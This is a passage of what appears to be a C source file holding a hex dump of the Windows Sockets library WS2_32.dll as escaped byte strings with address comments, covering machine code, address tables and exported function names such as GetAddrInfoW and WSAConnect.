ô¡q]Ãj‹Èè...ë /* 71A11390 */ "\xD0\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x56\x8B\xF1\xE8\x19" // А‹ÿU‹ìV‹ñè /* 71A113A0 */ "\x00\x00\x00\xF6\x45\x08\x01\x74\x07\x56\xE8\xBF\xFF\xFF\xFF\x59" // ...öEtVè¿ÿÿÿY /* 71A113B0 */ "\x8B\xC6\x5E\x5D\xC2\x04\x00\x90\x90\x90\x90\x90\x8B\xFF\x56\x8B" // ‹Æ^]Â.‹ÿV‹ /* 71A113C0 */ "\xF1\xFF\x76\x34\x83\x66\x0C\x00\xE8\xA1\xFF\xFF\xFF\xFF\x76\x38" // ñÿv4ƒf..è¡ÿÿÿÿv8 /* 71A113D0 */ "\xE8\x99\xFF\xFF\xFF\xFF\x76\x54\xE8\x91\xFF\xFF\xFF\x83\xC4\x0C" // è™ÿÿÿÿvTè‘ÿÿÿƒÄ. /* 71A113E0 */ "\x6A\x00\xFF\x35\x20\x40\xA2\x71\xFF\x15\x24\x11\xA1\x71\x56\xFF" // j.ÿ5 @¢qÿ$¡qVÿ /* 71A113F0 */ "\x76\x10\xFF\x15\x84\x10\xA1\x71\x83\x66\x10\x00\x83\x66\x40\x00" // vÿ„¡qƒf.ƒf@. /* 71A11400 */ "\x5E\xC3\x90\x90\x00\x00\x00\x00\xDA\x7E\x10\x41\x00\x00\x00\x00" // ^А....Ú~A.... /* 71A11410 */ "\xBA\x1E\x00\x00\x01\x00\x00\x00\xF4\x01\x00\x00\x75\x00\x00\x00" // º.....ô..u... /* 71A11420 */ "\x2C\x14\x00\x00\xFC\x1B\x00\x00\xD0\x1D\x00\x00\x28\x10\x01\x00" // ,..ü..Ð..(. /* 71A11430 */ "\x00\x3E\x00\x00\x39\x96\x00\x00\x6A\x40\x00\x00\x50\x0B\x01\x00" // .>..9–..j@..P . /* 71A11440 */ "\x1E\x95\x00\x00\xC9\x46\x00\x00\xC0\x2B\x00\x00\x66\x2B\x00\x00" // •..ÉF..À+..f+.. /* 71A11450 */ "\x19\x45\x00\x00\xF4\x2B\x00\x00\x41\x3F\x00\x00\xD3\x88\x00\x00" // E..ô+..A?..ӈ.. /* 71A11460 */ "\xC0\x2B\x00\x00\x66\x2B\x00\x00\x5A\x61\x00\x00\x0F\x2D\x00\x00" // À+..f+..Za..-.. /* 71A11470 */ "\xC0\x2D\x00\x00\x8A\x42\x00\x00\x69\x2C\x00\x00\xA1\x3E\x00\x00" // À-..ŠB..i,..¡>.. /* 71A11480 */ "\xDE\x0B\x01\x00\x91\x3B\x00\x00\x99\x28\x00\x00\xEC\xC4\x00\x00" // Þ .‘;..™(..ìÄ.. /* 71A11490 */ "\xC9\x1E\x01\x00\x0B\x2B\x00\x00\xA7\x1C\x01\x00\xA9\x0D\x01\x00" // É. +..§.©.. /* 71A114A0 */ "\xF6\x91\x00\x00\xB2\x62\x00\x00\x82\x46\x00\x00\x69\x0C\x01\x00" // ö‘..²b..‚F..i.. /* 71A114B0 */ "\xF7\x45\x00\x00\x82\xDB\x00\x00\xF4\xDA\x00\x00\xC9\xF9\x00\x00" // ÷E..‚Û..ôÚ..Éù.. /* 71A114C0 */ "\x29\xFA\x00\x00\x17\x46\x00\x00\x47\xDC\x00\x00\x8C\x84\x00\x00" // )ú..F..GÜ..Œ„.. /* 71A114D0 */ "\x73\x45\x00\x00\x03\x0D\x01\x00\x58\xF4\x00\x00\x28\x04\x01\x00" // sE....Xô..(. /* 71A114E0 */ "\x41\x01\x01\x00\x87\xFD\x00\x00\x69\xFF\x00\x00\xC9\xBC\x00\x00" // A.‡ý..iÿ..ɼ.. /* 71A114F0 */ "\xB1\xBD\x00\x00\x79\xE4\x00\x00\xD4\x4F\x00\x00\x76\xE1\x00\x00" // ±½..yä..ÔO..vá.. /* 71A11500 */ "\xB4\xE0\x00\x00\xEB\xE6\x00\x00\x9D\xE5\x00\x00\xC8\x50\x00\x00" // ´à..ëæ..å..ÈP.. /* 71A11510 */ "\xA9\x03\x01\x00\xB1\xFB\x00\x00\x89\x44\x00\x00\x58\x0F\x01\x00" // ©.±û..‰D..X. /* 71A11520 */ "\xAA\x52\x00\x00\x07\x33\x00\x00\x26\x32\x00\x00\x0E\x57\x00\x00" // ªR..3..&2..W.. /* 71A11530 */ "\x99\x2E\x00\x00\x06\x4D\x00\x00\xC9\xBC\x00\x00\xB1\xBD\x00\x00" // ™...M..ɼ..±½.. /* 71A11540 */ "\x1F\x88\x00\x00\x18\x43\x00\x00\xD6\xF5\x00\x00\x52\xF6\x00\x00" // ˆ..C..Öõ..Rö.. /* 71A11550 */ "\x9C\xFC\x00\x00\x9F\x94\x00\x00\x33\x62\x00\x00\x0A\x0A\x01\x00" // œü..Ÿ”..3b..... /* 71A11560 */ "\x95\x0A\x01\x00\xB0\x94\x00\x00\xBA\x04\x01\x00\x69\x02\x01\x00" // •..°”..º.i. /* 71A11570 */ "\x69\x87\x00\x00\xCB\x39\x00\x00\xD8\x90\x00\x00\x1E\x28\x00\x00" // i‡..Ë9..ؐ..(.. /* 71A11580 */ "\x8E\x94\x00\x00\xB1\x19\x01\x00\x41\xEE\x00\x00\x61\x77\x00\x00" // Ž”..±.Aî..aw.. /* 71A11590 */ "\x27\x8A\x00\x00\x35\xF1\x00\x00\x4D\x16\x01\x00\x01\xF3\x00\x00" // 'Š..5ñ..M.ó.. /* 71A115A0 */ "\x79\x12\x01\x00\x01\xF0\x00\x00\x19\x15\x01\x00\x0B\x2B\x00\x00" // y.ð... +.. /* 71A115B0 */ "\x6F\x2A\x00\x00\x71\xC6\x00\x00\x00\x00\x00\x00\x79\x09\x01\x00" // o*..qÆ......y.. /* 71A115C0 */ "\x2B\xEA\x00\x00\x85\xE9\x00\x00\xAB\xE2\x00\x00\xD5\xEA\x00\x00" // +ê..…é..«â..Õê.. /* 71A115D0 */ "\xFB\xE8\x00\x00\x4F\xE8\x00\x00\x2F\xE3\x00\x00\x94\xD4\x00\x00" // ûè..Oè../ã..”Ô.. /* 71A115E0 */ "\xF0\xD4\x00\x00\xDC\x94\x00\x00\x5E\x2A\x00\x00\xF2\xD3\x00\x00" // ðÔ..ܔ..^*..òÓ.. /* 71A115F0 */ "\x41\xD4\x00\x00\x4D\x66\x00\x00\x28\x44\x00\x00\x00\x00\x00\x00" // AÔ..Mf..(D...... /* 71A11600 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11610 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11620 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11630 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11640 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11650 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11660 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11670 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11680 */ "\x00\x00\x00\x00\x44\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ....DE.......... /* 71A11690 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A116F0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11700 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11710 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11720 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11730 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11740 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11750 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11760 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11770 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11780 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11790 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A117F0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11800 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11810 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11820 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11830 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11840 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11850 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11860 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11870 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11880 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11890 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A118F0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11900 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11910 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11920 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11930 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11940 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11950 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11960 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11970 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11980 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11990 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119D0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A119F0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A00 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A10 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A20 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A30 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A40 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A50 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A60 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A70 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A80 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11A90 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AA0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AB0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AC0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AD0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AE0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11AF0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B00 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B10 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B20 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B30 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B40 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B50 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B60 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B70 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B80 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11B90 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BA0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BB0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BC0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BD0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BE0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A11BF0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x21\x01\x00\xC5\x1E\x00\x00" // ........!.Å.. /* 71A11C00 */ "\xD3\x1E\x00\x00\xE0\x1E\x00\x00\xED\x1E\x00\x00\xF1\x1E\x00\x00" // Ó..à..í..ñ.. /* 71A11C10 */ "\x0E\x1F\x00\x00\x18\x1F\x00\x00\x2C\x1F\x00\x00\x40\x1F\x00\x00" // ....,..@.. /* 71A11C20 */ "\x56\x1F\x00\x00\x6C\x1F\x00\x00\x83\x1F\x00\x00\x9C\x1F\x00\x00" // V..l..ƒ..œ.. /* 71A11C30 */ "\xB2\x1F\x00\x00\xC8\x1F\x00\x00\xD7\x1F\x00\x00\xED\x1F\x00\x00" // ²..È..×..í.. /* 71A11C40 */ "\x03\x20\x00\x00\x0E\x20\x00\x00\x1C\x20\x00\x00\x27\x20\x00\x00" //  .. .. ..' .. /* 71A11C50 */ "\x36\x20\x00\x00\x4A\x20\x00\x00\x5E\x20\x00\x00\x79\x20\x00\x00" // 6 ..J ..^ ..y .. /* 71A11C60 */ "\x94\x20\x00\x00\xA9\x20\x00\x00\xBB\x20\x00\x00\xCD\x20\x00\x00" // ” ..© ..» ..Í .. /* 71A11C70 */ "\xDC\x20\x00\x00\xEC\x20\x00\x00\x03\x21\x00\x00\x13\x21\x00\x00" // Ü ..ì ..!..!.. /* 71A11C80 */ "\x2B\x21\x00\x00\x43\x21\x00\x00\x64\x21\x00\x00\x85\x21\x00\x00" // +!..C!..d!..…!.. /* 71A11C90 */ "\x8E\x21\x00\x00\x97\x21\x00\x00\xAF\x21\x00\x00\xC7\x21\x00\x00" // Ž!..—!..¯!..Ç!.. /* 71A11CA0 */ "\xD0\x21\x00\x00\xDE\x21\x00\x00\xEA\x21\x00\x00\x01\x22\x00\x00" // Ð!..Þ!..ê!..".. /* 71A11CB0 */ "\x18\x22\x00\x00\x2C\x22\x00\x00\x42\x22\x00\x00\x58\x22\x00\x00" // "..,"..B"..X".. /* 71A11CC0 */ "\x64\x22\x00\x00\x6D\x22\x00\x00\x76\x22\x00\x00\x8E\x22\x00\x00" // d"..m"..v"..Ž".. /* 71A11CD0 */ "\x96\x22\x00\x00\xA8\x22\x00\x00\xB4\x22\x00\x00\xCA\x22\x00\x00" // –"..¨"..´"..Ê".. /* 71A11CE0 */ "\xD8\x22\x00\x00\xE0\x22\x00\x00\xF2\x22\x00\x00\xFC\x22\x00\x00" // Ø"..à"..ò"..ü".. /* 71A11CF0 */ "\x0F\x23\x00\x00\x1B\x23\x00\x00\x2B\x23\x00\x00\x3A\x23\x00\x00" // #..#..+#..:#.. /* 71A11D00 */ "\x49\x23\x00\x00\x54\x23\x00\x00\x5F\x23\x00\x00\x6A\x23\x00\x00" // I#..T#.._#..j#.. /* 71A11D10 */ "\x7E\x23\x00\x00\x92\x23\x00\x00\xA8\x23\x00\x00\xC1\x23\x00\x00" // ~#..’#..¨#..Á#.. /* 71A11D20 */ "\xD4\x23\x00\x00\xE9\x23\x00\x00\xFD\x23\x00\x00\x0E\x24\x00\x00" // Ô#..é#..ý#..$.. /* 71A11D30 */ "\x21\x24\x00\x00\x35\x24\x00\x00\x48\x24\x00\x00\x5E\x24\x00\x00" // !$..5$..H$..^$.. /* 71A11D40 */ "\x70\x24\x00\x00\x87\x24\x00\x00\x9D\x24\x00\x00\xAA\x24\x00\x00" // p$..‡$..$..ª$.. /* 71A11D50 */ "\xB1\x24\x00\x00\xB6\x24\x00\x00\xC2\x24\x00\x00\xCA\x24\x00\x00" // ±$..¶$..Â$..Ê$.. /* 71A11D60 */ "\xD7\x24\x00\x00\xE3\x24\x00\x00\xF1\x24\x00\x00\xFF\x24\x00\x00" // ×$..ã$..ñ$..ÿ$.. /* 71A11D70 */ "\x0B\x25\x00\x00\x17\x25\x00\x00\x23\x25\x00\x00\x32\x25\x00\x00" // %..%..#%..2%.. /* 71A11D80 */ "\x43\x25\x00\x00\x51\x25\x00\x00\x5F\x25\x00\x00\x6B\x25\x00\x00" // C%..Q%.._%..k%.. /* 71A11D90 */ "\x76\x25\x00\x00\x7C\x25\x00\x00\x82\x25\x00\x00\x8C\x25\x00\x00" // v%..|%..‚%..Œ%.. /* 71A11DA0 */ "\x96\x25\x00\x00\xA2\x25\x00\x00\xA9\x25\x00\x00\xAF\x25\x00\x00" // –%..¢%..©%..¯%.. /* 71A11DB0 */ "\xB5\x25\x00\x00\xBA\x25\x00\x00\xC3\x25\x00\x00\xCA\x25\x00\x00" // µ%..º%..Ã%..Ê%.. /* 71A11DC0 */ "\xCF\x25\x00\x00\xD6\x25\x00\x00\xE1\x25\x00\x00\xEA\x25\x00\x00" // Ï%..Ö%..á%..ê%.. /* 71A11DD0 */ "\x1A\x00\x17\x00\x18\x00\xF3\x01\x1B\x00\x1C\x00\x1D\x00\x1E\x00" // ...ó.... /* 71A11DE0 */ "\x65\x00\x66\x00\x68\x00\x67\x00\x6A\x00\x69\x00\x64\x00\x6B\x00" // e.f.h.g.j.i.d.k. /* 71A11DF0 */ "\x70\x00\x73\x00\x1F\x00\x20\x00\x21\x00\x22\x00\x23\x00\x24\x00" // p.s.. .!.".#.$. /* 71A11E00 */ "\x25\x00\x26\x00\x27\x00\x28\x00\x29\x00\x6E\x00\x2A\x00\x2B\x00" // %.&.'.(.).n.*.+. /* 71A11E10 */ "\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00\x31\x00\x39\x00\x3A\x00" // ,.-.../.0.1.9.:. /* 71A11E20 */ "\x3B\x00\x71\x00\x3C\x00\x3D\x00\x3E\x00\x3F\x00\x40\x00\x41\x00" // ;.q.<.=.>.?.@.A. /* 71A11E30 */ "\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00\x49\x00" // B.C.D.E.F.G.H.I. /* 71A11E40 */ "\x4A\x00\x4B\x00\x4C\x00\x4D\x00\x6C\x00\x4E\x00\x6F\x00\x4F\x00" // J.K.L.M.l.N.o.O. /* 71A11E50 */ "\x50\x00\x51\x00\x52\x00\x72\x00\x53\x00\x54\x00\x6D\x00\x55\x00" // P.Q.R.r.S.T.m.U. /* 71A11E60 */ "\x19\x00\x56\x00\x57\x00\x58\x00\x59\x00\x5A\x00\x5B\x00\x5C\x00" // .V.W.X.Y.Z.[.\. /* 71A11E70 */ "\x5D\x00\x5E\x00\x5F\x00\x96\x00\x00\x00\x01\x00\x02\x00\x03\x00" // ].^._.–...... /* 71A11E80 */ "\x60\x00\x61\x00\x32\x00\x33\x00\x38\x00\x62\x00\x04\x00\x34\x00" // `.a.2.3.8.b..4. /* 71A11E90 */ "\x35\x00\x36\x00\x37\x00\x05\x00\x06\x00\x07\x00\x08\x00\x0A\x00" // 5.6.7....... /* 71A11EA0 */ "\x0B\x00\x09\x00\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00\x11\x00" // ........... /* 71A11EB0 */ "\x12\x00\x13\x00\x14\x00\x15\x00\x16\x00\x57\x53\x32\x5F\x33\x32" // .....WS2_32 /* 71A11EC0 */ "\x2E\x64\x6C\x6C\x00\x46\x72\x65\x65\x41\x64\x64\x72\x49\x6E\x66" // .dll.FreeAddrInf /* 71A11ED0 */ "\x6F\x57\x00\x47\x65\x74\x41\x64\x64\x72\x49\x6E\x66\x6F\x57\x00" // oW.GetAddrInfoW. /* 71A11EE0 */ "\x47\x65\x74\x4E\x61\x6D\x65\x49\x6E\x66\x6F\x57\x00\x57\x45\x50" // GetNameInfoW.WEP /* 71A11EF0 */ "\x00\x57\x50\x55\x43\x6F\x6D\x70\x6C\x65\x74\x65\x4F\x76\x65\x72" // .WPUCompleteOver /* 71A11F00 */ "\x6C\x61\x70\x70\x65\x64\x52\x65\x71\x75\x65\x73\x74\x00\x57\x53" // lappedRequest.WS /* 71A11F10 */ "\x41\x41\x63\x63\x65\x70\x74\x00\x57\x53\x41\x41\x64\x64\x72\x65" // AAccept.WSAAddre /* 71A11F20 */ "\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67\x41\x00\x57\x53\x41\x41" // ssToStringA.WSAA /* 71A11F30 */ "\x64\x64\x72\x65\x73\x73\x54\x6F\x53\x74\x72\x69\x6E\x67\x57\x00" // ddressToStringW. /* 71A11F40 */ "\x57\x53\x41\x41\x73\x79\x6E\x63\x47\x65\x74\x48\x6F\x73\x74\x42" // WSAAsyncGetHostB /* 71A11F50 */ "\x79\x41\x64\x64\x72\x00\x57\x53\x41\x41\x73\x79\x6E\x63\x47\x65" // yAddr.WSAAsyncGe /* 71A11F60 */ "\x74\x48\x6F\x73\x74\x42\x79\x4E\x61\x6D\x65\x00\x57\x53\x41\x41" // tHostByName.WSAA /* 71A11F70 */ "\x73\x79\x6E\x63\x47\x65\x74\x50\x72\x6F\x74\x6F\x42\x79\x4E\x61" // syncGetProtoByNa /* 71A11F80 */ "\x6D\x65\x00\x57\x53\x41\x41\x73\x79\x6E\x63\x47\x65\x74\x50\x72" // me.WSAAsyncGetPr /* 71A11F90 */ "\x6F\x74\x6F\x42\x79\x4E\x75\x6D\x62\x65\x72\x00\x57\x53\x41\x41" // otoByNumber.WSAA /* 71A11FA0 */ "\x73\x79\x6E\x63\x47\x65\x74\x53\x65\x72\x76\x42\x79\x4E\x61\x6D" // syncGetServByNam /* 71A11FB0 */ "\x65\x00\x57\x53\x41\x41\x73\x79\x6E\x63\x47\x65\x74\x53\x65\x72" // e.WSAAsyncGetSer /* 71A11FC0 */ "\x76\x42\x79\x50\x6F\x72\x74\x00\x57\x53\x41\x41\x73\x79\x6E\x63" // vByPort.WSAAsync /* 71A11FD0 */ "\x53\x65\x6C\x65\x63\x74\x00\x57\x53\x41\x43\x61\x6E\x63\x65\x6C" // Select.WSACancel /* 71A11FE0 */ "\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74\x00\x57\x53\x41" // AsyncRequest.WSA /* 71A11FF0 */ "\x43\x61\x6E\x63\x65\x6C\x42\x6C\x6F\x63\x6B\x69\x6E\x67\x43\x61" // CancelBlockingCa /* 71A12000 */ "\x6C\x6C\x00\x57\x53\x41\x43\x6C\x65\x61\x6E\x75\x70\x00\x57\x53" // ll.WSACleanup.WS /* 71A12010 */ "\x41\x43\x6C\x6F\x73\x65\x45\x76\x65\x6E\x74\x00\x57\x53\x41\x43" // ACloseEvent.WSAC /* 71A12020 */ "\x6F\x6E\x6E\x65\x63\x74\x00\x57\x53\x41\x43\x72\x65\x61\x74\x65" // onnect.WSACreate /* 71A12030 */ "\x45\x76\x65\x6E\x74\x00\x57\x53\x41\x44\x75\x70\x6C\x69\x63\x61" // Event.WSADuplica /* 71A12040 */ "\x74\x65\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x44\x75\x70" // teSocketA.WSADup /* 71A12050 */ "\x6C\x69\x63\x61\x74\x65\x53\x6F\x63\x6B\x65\x74\x57\x00\x57\x53" // licateSocketW.WS /* 71A12060 */ "\x41\x45\x6E\x75\x6D\x4E\x61\x6D\x65\x53\x70\x61\x63\x65\x50\x72" // AEnumNameSpacePr /* 71A12070 */ 